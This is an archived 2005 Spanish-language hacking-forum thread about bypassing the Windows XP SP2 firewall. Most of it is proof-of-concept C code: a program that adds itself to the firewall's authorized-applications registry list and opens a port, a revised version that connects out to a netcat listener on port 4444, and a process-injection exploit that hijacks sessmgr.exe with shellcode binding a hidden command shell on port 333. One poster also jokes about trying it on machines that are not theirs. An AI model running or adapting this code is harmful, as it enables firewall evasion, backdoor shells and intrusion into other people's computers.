elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 22:30  


Tema destacado: Nueva página de elhacker.net en Google+ Google+

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Windows XP Firewall Bypassing
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Windows XP Firewall Bypassing  (Leído 2,180 veces)
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Windows XP Firewall Bypassing
« en: 19 Septiembre 2005, 04:57 »

Se puede saltar el FW de XP SP2 con solo crear una clave en el registro!!!, a bueeeeeeenoooo, la verdad q esto es una joda  ;D. Checkeen aca.
Bytes.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: Windows XP Firewall Bypassing
« Respuesta #1 en: 19 Septiembre 2005, 09:53 »

Muy interesante, si señor...  :)
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Windows XP Firewall Bypassing
« Respuesta #2 en: 19 Septiembre 2005, 14:46 »

:o
interesante
pero debes tener privilegios??..

pego el codigo.
Código:
#include <stdio.h>
#include <windows.h>
#include <ezsocket.h>
#include <conio.h>
#include "Shlwapi.h"

int main( int argc, char *argv [] )
    {
    char buffer[1024];
    char filename[1024];

    HKEY hKey;
    int i;

    GetModuleFileName(NULL, filename, 1024);

    strcpy(buffer, filename);
    strcat(buffer, ":*:Enabled:");
    strcat(buffer, "bugg");

    RegOpenKeyEx(

       HKEY_LOCAL_MACHINE,
       "SYSTEM\\CurrentControlSet\\Services" "\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile" "\\AuthorizedApplications\\List",
       0,
       KEY_ALL_ACCESS,
       &hKey);

    RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));
   
    int temp, sockfd, new_fd, fd_size;
    struct sockaddr_in remote_addr;

    fprintf(stdout, "Simple server example with Anti SP2 firewall trick \n");
    fprintf(stdout, " This is not trojan \n");
    fprintf(stdout, " Opened port is :2001 \n");
    fprintf(stdout, "author:Mark Kica student of Technical University Kosice\n");
    fprintf(stdout, "Dedicated to Katka H. from Levoca \n");

    sleep(3);

    if ((sockfd = ezsocket(NULL, NULL, 2001, SERVER)) == -1)
        return 0;
       

    for (; ; )
        {
        RegDeleteValue(hKey, filename);
          fd_size = sizeof(struct sockaddr_in);

        if ((new_fd = accept(sockfd, (struct sockaddr *)&remote_addr, &fd_size)) == -1)
            {
            perror("accept");
            continue;
            }
        temp = send(new_fd, "Hello World\r\n", strlen("Hello World\r\n"), 0);
        fprintf(stdout, "Sended: Hello World\r\n");
        temp = recv(new_fd, buffer, 1024, 0);
        buffer[temp] = '\0';
        fprintf(stdout, "Recieved: %s\r\n", buffer);
        ezclose_socket(new_fd);
        RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

        if (!strcmp(buffer, "quit"))
            break;
        }

    ezsocket_exit();
   return 0;
    }

me sale error con devc++,  borland, si alguien sabe porque acepto ayuda jaja.

la libreria ezsocket.h es:
Código:
/*
   +---------------------------------------------------------+
   | EzSocket library - version 0.0.1                        |
   | (C) 2001, Locrian <locrian@freemail.gr>                 |
   +---------------------------------------------------------+

    This library is free software; you can redistribute it and/or
    modify it under the terms of the GNU Lesser General Public
    License as published by the Free Software Foundation; either
    version 2.1 of the License, or (at your option) any later version.

    This library is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
    Lesser General Public License for more details.

    You should have received a copy of the GNU Lesser General Public
    License along with this library; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
*/

#ifndef _LIBEZSOCKET
#define _LIBEZSOCKET

#include <stdio.h>
#ifdef unix
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <netdb.h>
#define SOCKET int
#else
#include <windows.h>
#endif

#define EZSOCKET_VER "0.0.1"

/****** STREAM SOCKET FUNCTIONS *************************/
#define SERVER 1
#define CLIENT 2
int ezsocket_init(void);
void ezsocket_exit(void);
SOCKET ezsocket(struct sockaddr_in *addr, char *URL, int PORT, int mode);
void ezclose_socket(SOCKET s);
/********* END OF STREAM SOCKET FUNCTIONS ********/



/********* TIME FUNCTIONS ********/
char *ezdate(const char *format);

/*
format variable can be:
A = Date name
B = Month name
d = Day of the month (01-31)
H = Hour(24) (00-23)
I = Hour(12) (01-12)
M = Minuets (00-59)
m = Month (01-12)
p = "AM" or "PM"
S = Seconds (00-61)
Y = Year (4 digits) (e.x. 2001)
y = Year (2 digits) (e.x. 01)
Z = TimeZone
Example: "%d/%m/%Y - %H:%M:%S\n"

*/
/********* END OF TIME FUNCTIONS ********/
#endif
« Última modificación: 19 Septiembre 2005, 15:01 por Sirdarckcat » En línea

sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Windows XP Firewall Bypassing
« Respuesta #3 en: 19 Septiembre 2005, 19:37 »

bueno, despues de un probar mucho, no lo consigo.. el error ya se que esta en el:
RegSetValueEx
mas especificamente en el buffer o en strlen(buffer)

buffer es un string,  que le mete el nombre del archivo, lo habilita, y agrega bugg al final.. no se para que..

alomejor el problema es que lo llama sin ser un puntador.. no se..

LONG RegSetValueEx(
  HKEY hKey,
  LPCTSTR lpValueName,
  DWORD Reserved,
  DWORD dwType,
  const BYTE* lpData,
  DWORD cbData
);

esa es la sintaxis.

bueno, cuando lo logre lo pongo corregido..
no entiendo porque nunca funcionan los exploits jaja..

una ejecucion correcta del comando seria:
RegSetValueEx(KeyHandle, "kdna", 0&, REG_SZ, _
ByVal Description(1), Len(Description(1)))

Código:
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

analizare cada parte...

hKey, esta correcto, se especifico en:
Código:
       HKEY_LOCAL_MACHINE,
       "SYSTEM\\CurrentControlSet\\Services" "\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile" "\\AuthorizedApplications\\List",
       0,
       KEY_ALL_ACCESS,
       &hKey);

filename, ya dije que contiene, pero segun yo deberia ser un puntero.. aun asi ni con puntero funciona..

el 0, jaja siempre debe ser 0, asi que no hay que ver..

REG_SZ, es el tipo de valor.. tambien ta bien.

buffer,. otro que segun yo debe ser puntero, pero que ni asi..

aunque en strings los punteros son ellos mismos.. si los llamas asi.

y el strlen, esta bien,. asi que no encuentro.. estoy seguro que el error esta en manejo de punteros.. seguire intentando.
En línea

mousehack


Desconectado Desconectado

Mensajes: 1.142

Ex-Colaborador....!!!!!!XD


Ver Perfil
Re: Windows XP Firewall Bypassing
« Respuesta #4 en: 19 Septiembre 2005, 20:05 »

pues en esa misma pagina esta este exploit:

Código:
#include <windows.h>
#include <winsock.h>
#include <stdlib.h>
#include <stdio.h>
#include <winsock.h>

void setfp(char *buffer,int sz,DWORD from,DWORD fp)
{
int i;
for(i=0;i<sz-5;i++)
if (buffer[i]=='\xb8'&&*(DWORD*)(buffer+i+1)==from)
{*(DWORD*)(buffer+i+1)=fp;break;}
}

int injcode(char *buffer)
{
HMODULE ws2_32;
DWORD _loadlibrarya,_createprocessa,_wsastartup,_wsasocketa,_bind,_listen,_accept,_sleep;
char *code;
int len;
ws2_32=LoadLibrary("ws2_32");
_loadlibrarya=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"LoadLibraryA");
_createprocessa=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"CreateProcessA");
_sleep=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"Sleep");
_wsastartup=(DWORD)GetProcAddress(ws2_32,"WSAStartup");
_wsasocketa=(DWORD)GetProcAddress(ws2_32,"WSASocketA");
_bind=(DWORD)GetProcAddress(ws2_32,"bind");
_listen=(DWORD)GetProcAddress(ws2_32,"listen");
_accept=(DWORD)GetProcAddress(ws2_32,"accept");

__asm
{
call over

push '23'
push '_2sw'
push esp
mov eax,0x11111111
call eax

xor ebx,ebx
push 0x64
pop ecx
wsadata:
push ebx
loop wsadata
push esp
push 0x101
mov eax,0x33333333
call eax

push ebx
push ebx
push ebx
push ebx
push SOCK_STREAM
push AF_INET
mov eax,0x44444444
call eax
mov esi,eax

push ebx
push ebx
push ebx
push 0x4D010002 /*port 333*/
mov eax,esp
push 0x10
push eax
push esi
mov eax,0x55555555
call eax

push SOMAXCONN
push esi
mov eax,0x66666666
call eax

push ebx
push ebx
push esi
mov eax,0x77777777
call eax
mov edi,eax

push ebx
push ebx
push ebx
push ebx
mov eax,esp
push edi
push edi
push edi
push ebx
push SW_HIDE
push STARTF_USESTDHANDLES
push 0xA
pop ecx
startupinfo:
push ebx
loop startupinfo
push 0x44
mov ecx,esp
push 'dmc'
mov edx, esp

push eax
push ecx
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
push edx
push ebx
mov eax,0x22222222
call eax

push INFINITE
mov eax,0x88888888
call eax

over:
pop eax
mov code,eax
}

len=0xA0;
memcpy(buffer,code,len);
setfp(buffer,len,0x11111111,_loadlibrarya);
setfp(buffer,len,0x22222222,_createprocessa);
setfp(buffer,len,0x33333333,_wsastartup);
setfp(buffer,len,0x44444444,_wsasocketa);
setfp(buffer,len,0x55555555,_bind);
setfp(buffer,len,0x66666666,_listen);
setfp(buffer,len,0x77777777,_accept);
setfp(buffer,len,0x88888888,_sleep);

return len;
}

void main(void)
{
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
CONTEXT context;
LDT_ENTRY sel;
DWORD read,tib,peb,exebase,peoffs,ep;
IMAGE_NT_HEADERS pehdr;
int len;
char sessmgr[MAX_PATH+13];
char buffer[2048];

GetSystemDirectory(sessmgr,MAX_PATH);
sessmgr[MAX_PATH]=0;
strcat(sessmgr,"\\sessmgr.exe");
memset(&sinfo,0,sizeof(sinfo));
sinfo.cb=sizeof(sinfo);

if (!CreateProcess(sessmgr,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&sinfo,&pinfo))
printf("createprocess failed"), exit(1);

context.ContextFlags=CONTEXT_FULL;
GetThreadContext(pinfo.hThread,&context);
GetThreadSelectorEntry(pinfo.hThread,context.SegFs,&sel);
tib=sel.BaseLow|(sel.HighWord.Bytes.BaseMid<<16)|(sel.HighWord.Bytes.BaseHi<<24);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(tib+0x30),&peb,4,&read);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(peb+0x08),&exebase,4,&read);

ReadProcessMemory(pinfo.hProcess,(LPCVOID)(exebase+0x3C),&peoffs,4,&read);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(exebase+peoffs),&pehdr,sizeof(pehdr),&read);
ep=exebase+pehdr.OptionalHeader.AddressOfEntryPoint;

len=injcode(buffer);
VirtualProtect((LPVOID)ep,len,PAGE_EXECUTE_READWRITE,&read);
WriteProcessMemory(pinfo.hProcess,(LPVOID)ep,buffer,len,&read);

ResumeThread(pinfo.hThread);
}

teoricamente solo necesitariamos compilar este código y correrlo como usuario local en la maquina, esta prueba hará un bypass por telnet usando el puerto 333 hacia una maquina remota cualquiera, de esta manera cualquiera desde fuera podría correr esta aplicación sin ningún tipo de problema con el Firewall.

Salu2
En línea



VISITEN MI BLOG PERSONAL....
http://mousehack.blogspot.com/ ...XD
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Windows XP Firewall Bypassing
« Respuesta #5 en: 19 Septiembre 2005, 20:07 »

Si, necesitas tener privilegios para escribir en el registro. Respecto de los errores en el codigo, lo depure un poquito, solo que ahora vas a tener que poner el netcat a la escucha por el puerto 4444. Lo hice cliente, en teoria no debería enterarse el firewall del pedido de conexion de este programa. Digo en teoria porq no lo probe aun, pero hace lo que dice el PoC:
Código:
#include <stdio.h>
#include <windows.h>
#include <winsock2.h>
#include <conio.h>

int main( int argc, char *argv [] )
    {
    char buffer[1024];
    char filename[1024];

    HKEY hKey;
    int i;

    GetModuleFileName(NULL, filename, 1024);

    strcpy(buffer, filename);
    strcat(buffer, ":*:Enabled:");
    strcat(buffer, "bugg");

    RegOpenKeyEx(
       HKEY_LOCAL_MACHINE,
       "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",
       0,
       KEY_ALL_ACCESS,
       &hKey);
    RegSetValueEx(hKey, filename, 0, REG_SZ, (BYTE *)&buffer, strlen(buffer));
    RegCloseKey(hKey);
    
    LPWSADATA lpWSAData;
    WSAStartup(MAKEWORD(2,2), lpWSAData);

    int sockfd;
    if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
        return 0;
        
    struct sockaddr_in remote_addr;
    remote_addr.sin_family = AF_INET;
    remote_addr.sin_port = htons(4444);
    remote_addr.sin_addr.s_addr=inet_addr("127.0.0.1");

    if (connect(sockfd, (struct sockaddr *)&remote_addr, sizeof(struct sockaddr)) == -1)
      return 0;

    send(sockfd, "Hello World\r\n", strlen("Hello World\r\n"), 0);
    printf("Sended: Hello World\r\n");

   shutdown(sockfd,0);
   WSACleanup();
   return 0;
    }
Si lo compilas con el dev acordate de linkear con la libreria libws2_32.a.
Igual el codigo anterior tiene algunas cosas q no me cierran, segun el servidor q hace deberia poner el socket como no bloqueante, sera q aun no vi como estan definidas las funciones q usa  :-\ . Ademas elimina el valor q creó en el registro antes de llamar a accept  ???.
Bytes.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Windows XP Firewall Bypassing
« Respuesta #6 en: 19 Septiembre 2005, 20:32 »

mousehack, eso no tiene nada q ver con la vulnerabilidad q estamos hablando. Eso q pusiste aprovecha un proceso q esta "aprobado" por el FW(ej. sessmgr.exe), luego crea el proceso de manera suspendida para modificarle el codigo, obviamente q el nuevo codigo resulta ser una shell al puerto 333. Algo parecido se puede hacer creando hilos remotos a procesos q estan corriendo(CreateRemoteThread), lo he visto en KeyLoggers para evitar ser detectados como un proceso a parte. Si mal no recuerdo eso es Hijack.
El tema q estamos tratando aca es especificamente la vulnerabilidad que aparece en esta pagina http://www.securiteam.com/windowsntfocus/5UP0F0UGUO.html.
Bytes.
« Última modificación: 20 Septiembre 2005, 02:40 por Ivanchuk » En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
mousehack


Desconectado Desconectado

Mensajes: 1.142

Ex-Colaborador....!!!!!!XD


Ver Perfil
Re: Windows XP Firewall Bypassing
« Respuesta #7 en: 19 Septiembre 2005, 20:49 »

si bien no se refiere a la modificacion del registro especificamente, el exploit posteado aprovecha tambien un bug del firewall de windows y lo sake de la misma pagina que vos pusiste... ;)
 viene a colacion del post.
http://www.securiteam.com/exploits/6A00J0UBGS.html

salu2
« Última modificación: 19 Septiembre 2005, 21:13 por mousehack » En línea



VISITEN MI BLOG PERSONAL....
http://mousehack.blogspot.com/ ...XD
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Windows XP Firewall Bypassing
« Respuesta #8 en: 19 Septiembre 2005, 22:16 »

si necesito privilegios, cual es la novedad, puedes detenrelo con net stop, o matando el proceso desde kill.exe.. o incluso desde el task manager.

lo unico nuevo, esque ahora sigue corriendo el firewall..

gracias por la correccion, sabia que eran los punteros xD.

(BYTE *)&buffer

bueno, tratare de aplicar esto, en mis maquinas de prueba, que no son mias, pero bueno jeje
En línea

yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: Windows XP Firewall Bypassing
« Respuesta #9 en: 19 Septiembre 2005, 23:25 »

Se puede detener el servicio del Firewall, pero para matar el proceso del Firewall se debería finalizar el procesos rundll32.exe, o me equivoco?
En línea
ANELKAOS
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.049


#include<nda.h>


Ver Perfil WWW
Re: Windows XP Firewall Bypassing
« Respuesta #10 en: 19 Septiembre 2005, 23:26 »

Uhmm ya decia yo que esto m sonaba..... http://www.hackingdefined.com/index.php/Articles:XP_SP2_Registry_Backdoor  ;D
En línea

Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Windows XP Firewall Bypassing
« Respuesta #11 en: 20 Septiembre 2005, 02:15 »

Yo pa pelearte un rato mousehack  ;D. La info que pusiste es muy buena, no me la sabía.
Citar
si necesito privilegios, cual es la novedad
easy, easy  :P.
Citar
pero debes tener privilegios??..
Solo respondi a esa pregunta.
Citar
para matar el proceso del Firewall se debería finalizar el procesos rundll32.exe
No es necesario matar el proceso, se puede detener con net stop como bien dijo Sirdarckcat. Nunca probé de matarlo pero puede q tengas razón YeIk0s.
mmm Anelkaos, no es eso lo q estamos hablando. Segun entiendo lo q pusiste es un bug del editor del registro de windows, q puede servir para ocultar información creando claves con valores damasiado extensos.
Me gustan las discuciones  ;D....
Bytes.
« Última modificación: 20 Septiembre 2005, 02:37 por Ivanchuk » En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Windows XP Firewall Bypassing
« Respuesta #12 en: 20 Septiembre 2005, 03:29 »

a si tienes razon con lo de rundll 32,  yo como me acostumbre a matarlo, es con llamar a la utlilidad de config de el FW, le doy en el taskmanager finalizar, o con el kill, muchas veces hasta que SYSTEM, se da cuenta de que por algun motivo no se finaliza... y me pregunta si lo quiero finalizar.. le digo: SI¡¡¡ y se pone en proceso de depuracion, despues con el octopod le pongo en priridad alta, trato de finalizarlo de nuevo, y se cierra el FW, y el Explorer, el problema es que si no tengo privilegios, no puedo cambiar la prioridad, porlo que se queda en proceso de depuracion donde por algun motivo sigue protegiendo.

**a se me olvido.. los privilegios minimos necesarios son de duplicadores.. para mi metod'
« Última modificación: 20 Septiembre 2005, 03:38 por Sirdarckcat » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Bypassing Shelll Problemas
Bugs y Exploits
rikrdo_mat 8 1,410 Último mensaje 18 Diciembre 2010, 07:10
por berz3k
Bypassing AVs inyectando con shells alfanuméricas
Bugs y Exploits
Shell Root 2 1,046 Último mensaje 29 Diciembre 2010, 02:52
por Devilboy.Devil
[XSS] Bypassing de Magics Quotes y otros filtros
Nivel Web
@Sthéfano 0 1,282 Último mensaje 19 Julio 2011, 09:59
por @Sthéfano
DEP bypassing en Windows
Bugs y Exploits
Ivanchuk 2 520 Último mensaje 9 Enero 2012, 22:18
por CloudswX
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines